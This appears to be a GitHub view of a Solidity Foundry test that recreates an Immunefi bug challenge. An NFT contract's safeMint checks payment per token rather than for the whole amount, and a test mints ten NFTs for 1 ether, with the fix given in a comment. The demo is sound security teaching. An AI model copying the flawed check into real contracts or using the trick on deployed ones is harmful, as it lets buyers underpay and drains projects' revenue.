-
Notifications
You must be signed in to change notification settings - Fork 277
/
Immunefi_ch1.sol
64 lines (53 loc) · 2.04 KB
/
Immunefi_ch1.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
import "forge-std/Test.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
// Immunefi #spotthebugchallenge!
// https://twitter.com/immunefi/status/1557301712549023745
contract ContractTest is Test {
HerToken HerTokenContract;
function testSafeMint() public {
HerTokenContract = new HerToken();
HerTokenContract.safeMint{value: 1 ether}(address(this), 10);
console.log(
"Due to incorrect check msg.value, we can mint many NFTs with 1 Eth."
);
console.log("NFT minted:", HerTokenContract.balanceOf(address(this)));
}
function onERC721Received(
address,
address,
uint256,
bytes memory
) public returns (bytes4) {
// HerTokenContract.safeMint{value: 1 ether}(address(this),30);
return this.onERC721Received.selector;
}
receive() external payable {}
}
contract HerToken is ERC721, Ownable, Test {
uint128 constant MINT_PRICE = 1 ether;
uint128 constant MAX_SUPPLY = 10000;
uint mintIndex;
using Counters for Counters.Counter;
Counters.Counter private _tokenIdCounter;
constructor() payable ERC721("HarToken", "HRT") {}
function safeMint(address to, uint256 amount) public payable {
require(
_tokenIdCounter.current() + amount < MAX_SUPPLY,
"Cannot mint given amount."
);
require(amount > 0, "Must give a mint amount.");
//fix require(msg.value >= MINT_PRICE * amount, "Insufficient Ether.");
// before the loop
for (uint256 i = 0; i < amount; i++) {
require(msg.value >= MINT_PRICE, "Insufficient Ether.");
mintIndex = _tokenIdCounter.current();
console.log("mintIndex", mintIndex);
_safeMint(to, mintIndex); // no reentrancy issue, because we can not control tokenid.
_tokenIdCounter.increment();
}
}
}